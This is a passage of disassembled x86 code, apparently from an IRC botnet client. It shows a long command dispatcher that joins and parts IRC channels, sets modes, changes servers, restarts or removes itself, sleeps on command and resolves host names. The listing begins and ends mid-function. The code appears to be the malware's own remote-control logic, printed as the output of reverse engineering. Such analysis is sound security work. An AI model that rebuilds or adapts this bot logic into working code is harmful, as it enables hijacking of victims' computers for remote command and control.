loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j
mov eax, [ebp+var_1A8]
sub eax, dword_419C0C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B5CE
lea eax, [ebp+var_1A4]
push eax
call sub_41417D
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj
mov eax, [ebp+var_1A8]
sub eax, dword_419BF8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B631
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jz short loc_40B61B
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_41673F
pop ecx
test eax, eax
jnz short loc_40B601
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj
push 104h
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push offset aPacked_exe_0 ; "packed.exe"
call sub_407A56
add esp, 0Ch
jmp short loc_40B62C
; ---------------------------------------------------------------------------
loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj
push offset aPacked_exe ; "packed.exe"
push offset aPacked_exe_0 ; "packed.exe"
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B631: ; CODE XREF: sub_40A9CF+C12j
mov eax, [ebp+var_1A8]
sub eax, dword_419BE8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B678
mov eax, [ebp+arg_14]
push dword ptr [eax+14h]
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_414600
add esp, 18h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B678: ; CODE XREF: sub_40A9CF+C75j
mov eax, [ebp+var_1A8]
sub eax, dword_419BE0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40B791
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40B69F
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
shl eax, 1
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_5A68], eax
cmp [ebp+var_5A68], 0
jnz short loc_40B6C8
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
push eax
push [ebp+var_5A68]
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40EB4E
add esp, 0Ch
push [ebp+var_5A68]
push offset dword_419BC4
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_5A68]
call sub_416B4C ; free
pop ecx
push 1000h
lea eax, [ebp+var_1A60]
push eax
call sub_4104A3
pop ecx
pop ecx
call sub_416B64 ; clock
mov [ebp+var_A60], eax
and [ebp+var_1A64], 0
jmp short loc_40B743
; ---------------------------------------------------------------------------
loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj
mov eax, [ebp+var_1A64]
inc eax
mov [ebp+var_1A64], eax
loc_40B743: ; CODE XREF: sub_40A9CF+D65j
cmp [ebp+var_1A64], 186A0h
jge short loc_40B76C
push 1000h
lea eax, [ebp+var_5A64]
push eax
lea eax, [ebp+var_1A60]
push eax
call sub_40EB4E
add esp, 0Ch
jmp short loc_40B736
; ---------------------------------------------------------------------------
loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej
call sub_416B64 ; clock
sub eax, [ebp+var_A60]
push eax
push offset aItTookMeUms_ ; "It took me %ums."
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B791: ; CODE XREF: sub_40A9CF+CBCj
mov eax, [ebp+var_1A8]
sub eax, dword_419BA4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B823
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40B7B4
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_5A6C], eax
cmp [ebp+var_5A6C], 0
jnz short loc_40B7DB
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j
push [ebp+var_5A6C]
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40E9C9
pop ecx
pop ecx
mov ecx, [ebp+var_5A6C]
and byte ptr [ecx+eax], 0
push [ebp+var_5A6C]
push offset dword_419B88
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_5A6C]
call sub_416B4C ; free
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B823: ; CODE XREF: sub_40A9CF+DD5j
mov eax, [ebp+var_1A8]
sub eax, dword_419B78
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B873
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40B85C
push offset dword_41EF48
push offset dword_419B64
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp short loc_40B86E
; ---------------------------------------------------------------------------
loc_40B85C: ; CODE XREF: sub_40A9CF+E70j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_41EF48
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B873: ; CODE XREF: sub_40A9CF+E67j
mov eax, [ebp+var_1A8]
sub eax, dword_419B58
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B899
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_4097A7
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B899: ; CODE XREF: sub_40A9CF+EB7j
mov eax, [ebp+var_1A8]
sub eax, dword_419B4C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B8C7
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_403FE5
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj
mov eax, [ebp+var_1A8]
sub eax, dword_419B3C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B8ED
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_4098F3
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj
mov eax, [ebp+var_1A8]
sub eax, dword_419B30
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B91B
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_406722
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B91B: ; CODE XREF: sub_40A9CF+F31j
mov eax, [ebp+var_1A8]
sub eax, dword_419B20
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B949
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_412F07
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj
mov eax, [ebp+var_1A8]
sub eax, dword_419B14
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B98A
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40A1A7
add esp, 14h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419B08
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B9BF
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40A50E
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj
mov eax, [ebp+var_1A8]
sub eax, dword_419AFC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B9F5
push offset aPacked_exe ; "packed.exe"
push offset aQuitSRemoved_ ; "QUIT :%s removed."
call sub_40D6CB
pop ecx
pop ecx
push 36EE80h
call ds:dword_41709C ; Sleep
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j
mov eax, [ebp+var_1A8]
sub eax, dword_419ADC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BA79
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BA18
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BA18: ; CODE XREF: sub_40A9CF+1042j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset aLast ; "#last"
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov eax, [ebp+arg_14]
cmp dword ptr [eax+8], 0
jz short loc_40BA41
mov eax, [ebp+arg_14]
mov eax, [eax+8]
mov [ebp+var_63EC], eax
jmp short loc_40BA4B
; ---------------------------------------------------------------------------
loc_40BA41: ; CODE XREF: sub_40A9CF+1062j
mov [ebp+var_63EC], offset byte_41DE30
loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j
push [ebp+var_63EC]
push offset dword_41ED48
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset dword_41ED48
push offset aLast ; "#last"
push offset aJoinSS ; "JOIN %s %s"
call sub_40D6CB
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BA79: ; CODE XREF: sub_40A9CF+1039j
mov eax, [ebp+var_1A8]
sub eax, dword_419AC4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BADB
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BA9C
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j
mov eax, [ebp+arg_14]
cmp dword ptr [eax+8], 0
jz short loc_40BAB3
mov eax, [ebp+arg_14]
mov eax, [eax+8]
mov [ebp+var_63F0], eax
jmp short loc_40BABD
; ---------------------------------------------------------------------------
loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j
mov [ebp+var_63F0], offset byte_41DE30
loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j
push [ebp+var_63F0]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset aJoinSS ; "JOIN %s %s"
call sub_40D6CB
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj
mov eax, [ebp+var_1A8]
sub eax, dword_419AB8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BB15
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BAFE
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset aPartS ; "PART %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj
mov eax, [ebp+var_1A8]
sub eax, dword_419AA4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BB6C
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BB38
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB38: ; CODE XREF: sub_40A9CF+1162j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_5A70], eax
cmp [ebp+var_5A70], 927C0h
jle short loc_40BB5B
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j
push [ebp+var_5A70]
call ds:dword_41709C ; Sleep
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j
mov eax, [ebp+var_1A8]
sub eax, dword_419A9C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BBB0
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40BB93
mov eax, [ebp+arg_18]
cmp dword ptr [eax+8], 0
jnz short loc_40BB98
loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D4AB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j
mov eax, [ebp+var_1A8]
sub eax, dword_419A90
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BBF4
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40BBD7
mov eax, [ebp+arg_18]
cmp dword ptr [eax+8], 0
jnz short loc_40BBDC
loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D420
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j
mov eax, [ebp+var_1A8]
sub eax, dword_419A88
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BC28
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40BC17
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BC17: ; CODE XREF: sub_40A9CF+1241j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40D6CB
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BC28: ; CODE XREF: sub_40A9CF+1238j
mov eax, [ebp+var_1A8]
sub eax, dword_419A7C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BCB2
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BC84
cmp dword_41DE38, 0
jz short loc_40BC5B
mov [ebp+var_63F4], offset aOn ; "on"
jmp short loc_40BC65
; ---------------------------------------------------------------------------
loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej
mov [ebp+var_63F4], offset aOff ; "off"
loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj
push [ebp+var_63F4]
push offset aDebugModeIsS_ ; "Debug mode is %s."
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BC84: ; CODE XREF: sub_40A9CF+1275j
push offset aOn ; "on"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40BCA6
mov dword_41DE38, 1
jmp short loc_40BCAD
; ---------------------------------------------------------------------------
loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j
and dword_41DE38, 0
loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj
mov eax, [ebp+var_1A8]
sub eax, dword_419A50
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BCD9
lea eax, [ebp+var_1A4]
push eax
call sub_415DFD
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j
mov eax, [ebp+var_1A8]
sub eax, dword_419A44
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BD13
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BCFC
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push offset aModeS ; "MODE %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419A30
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BD52
mov eax, [ebp+var_1A8]
sub eax, dword_419A24
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BD52
mov eax, [ebp+var_1A8]
sub eax, dword_419A1C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BD62
loc_40BD52: ; CODE XREF: sub_40A9CF+1357j
; sub_40A9CF+136Cj
push offset aQuitExitting ; "QUIT :exitting"
call sub_40D6CB
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BD62: ; CODE XREF: sub_40A9CF+1381j
mov eax, [ebp+var_1A8]
sub eax, dword_419A10
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BDC9
push 104h
lea eax, [ebp+var_5B74]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
push 0
push 0
push 0
lea eax, [ebp+var_5B74]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0 ; ShellExecuteA
cmp eax, 20h
ja short loc_40BDB6
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j
push offset aQuitRestarting ; "QUIT :restarting"
call sub_40D6CB
pop ecx
push 0
call ds:dword_41705C ; ExitProcess
loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j
mov eax, [ebp+var_1A8]
sub eax, dword_419A04
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BE19
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BDEC
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movzx eax, byte ptr [eax]
push eax
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movzx eax, byte ptr [eax]
push eax
push offset dword_4199D4
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj
mov eax, [ebp+var_1A8]
sub eax, dword_4199C4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BE38
call sub_407148
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj
mov eax, [ebp+var_1A8]
sub eax, dword_4199BC
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BE62
mov eax, [ebp+var_1A8]
sub eax, dword_4199B0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BE7B
loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_401D6E
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j
mov eax, [ebp+var_1A8]
sub eax, dword_4199A8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BEA9
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40CEB0
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj
mov eax, [ebp+var_1A8]
sub eax, dword_41999C
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BED3
mov eax, [ebp+var_1A8]
sub eax, dword_41998C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BEFD
loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj
push offset aQuitChangingSe ; "QUIT :changing server"
call sub_40D6CB
pop ecx
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D366
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j
mov eax, [ebp+var_1A8]
sub eax, dword_41996C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C0D9
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BF29
mov eax, [ebp+arg_14]
mov dword ptr [eax+4], offset byte_41DE30
loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej
lea eax, [ebp+var_5B78]
push eax
push 0
push 0
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz loc_40C0BA
mov eax, [ebp+var_5B78]
mov [ebp+var_5B7C], eax
loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j
cmp [ebp+var_5B7C], 0
jz loc_40C0AC
push 2
push 0
push 0
push 401h
lea eax, [ebp+var_5F80]
push eax
mov eax, [ebp+var_5B7C]
push dword ptr [eax+10h]
mov eax, [ebp+var_5B7C]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
test eax, eax
jnz loc_40C098
mov eax, [ebp+var_5B7C]
cmp dword ptr [eax+4], 2
jnz short loc_40BFEA
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40BFBA
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_63F8], eax
jmp short loc_40BFC4
; ---------------------------------------------------------------------------
loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj
mov [ebp+var_63F8], offset dword_419968
loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j
lea eax, [ebp+var_5F80]
push eax
push [ebp+var_63F8]
push offset dword_419944
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp loc_40C08D
; ---------------------------------------------------------------------------
loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj
mov eax, [ebp+var_5B7C]
cmp dword ptr [eax+4], 17h
jnz short loc_40C03E
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C011
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_63FC], eax
jmp short loc_40C01B
; ---------------------------------------------------------------------------
loc_40C011: ; CODE XREF: sub_40A9CF+1632j
mov [ebp+var_63FC], offset dword_419968
loc_40C01B: ; CODE XREF: sub_40A9CF+1640j
lea eax, [ebp+var_5F80]
push eax
push [ebp+var_63FC]
push offset dword_419920
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_40C08D
; ---------------------------------------------------------------------------
loc_40C03E: ; CODE XREF: sub_40A9CF+1625j
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C059
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_6400], eax
jmp short loc_40C063
; ---------------------------------------------------------------------------
loc_40C059: ; CODE XREF: sub_40A9CF+167Aj
mov [ebp+var_6400], offset dword_419968
loc_40C063: ; CODE XREF: sub_40A9CF+1688j
lea eax, [ebp+var_5F80]
push eax
mov eax, [ebp+var_5B7C]
push dword ptr [eax+4]
push [ebp+var_6400]
push offset dword_4198EC
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 14h
loc_40C08D: ; CODE XREF: sub_40A9CF+1616j
; sub_40A9CF+166Dj
push 3E8h
call ds:dword_41709C ; Sleep
loc_40C098: ; CODE XREF: sub_40A9CF+15BEj
mov eax, [ebp+var_5B7C]
mov eax, [eax+1Ch]
mov [ebp+var_5B7C], eax
jmp loc_40BF54
; ---------------------------------------------------------------------------
loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj
push [ebp+var_5B78]
call dword_41DE8C ; freeaddrinfo
jmp short loc_40C0D4
; ---------------------------------------------------------------------------
loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_4198D0
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j
mov eax, [ebp+var_1A8]
sub eax, dword_4198C4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C1D4
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40C105
mov eax, [ebp+arg_14]
mov dword ptr [eax+4], offset byte_41DE30
loc_40C105: ; CODE XREF: sub_40A9CF+172Aj
lea eax, [ebp+var_5F84]
push eax
push 0
push 0
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz loc_40C1B5
push 4
push 0
push 0
push 401h
lea eax, [ebp+var_6388]
push eax
mov eax, [ebp+var_5F84]
push dword ptr [eax+10h]
mov eax, [ebp+var_5F84]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
test eax, eax
jnz short loc_40C1A9
push [ebp+var_5F84]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C179
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_6404], eax
jmp short loc_40C183
; ---------------------------------------------------------------------------
loc_40C179: ; CODE XREF: sub_40A9CF+179Aj
mov [ebp+var_6404], offset dword_419968
loc_40C183: ; CODE XREF: sub_40A9CF+17A8j
lea eax, [ebp+var_6388]
push eax
push [ebp+var_6404]
push offset dword_4198A8
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j
push [ebp+var_5F84]
call dword_41DE8C ; freeaddrinfo
loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_4198D0
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419898
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C37A
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40C207
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
cmp eax, 0Ah
ja short loc_40C20C
loc_40C207: ; CODE XREF: sub_40A9CF+1825j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C20C: ; CODE XREF: sub_40A9CF+1836j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_638C], eax
push 4
push offset a2002 ; "2002"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416DEA ; memcmp
add esp, 0Ch
test eax, eax
jnz loc_40C35B
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-9]
mov [ebp+var_6398], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-8]
mov [ebp+var_6397], al
and [ebp+var_6396], 0
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-7]
mov [ebp+var_6395], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-6]
mov [ebp+var_6394], al
and [ebp+var_6393], 0
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-4]
mov [ebp+var_6392], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-3]
mov [ebp+var_6391], al
and [ebp+var_6390], 0
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-2]
mov [ebp+var_638F], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-1]
mov [ebp+var_638E], al
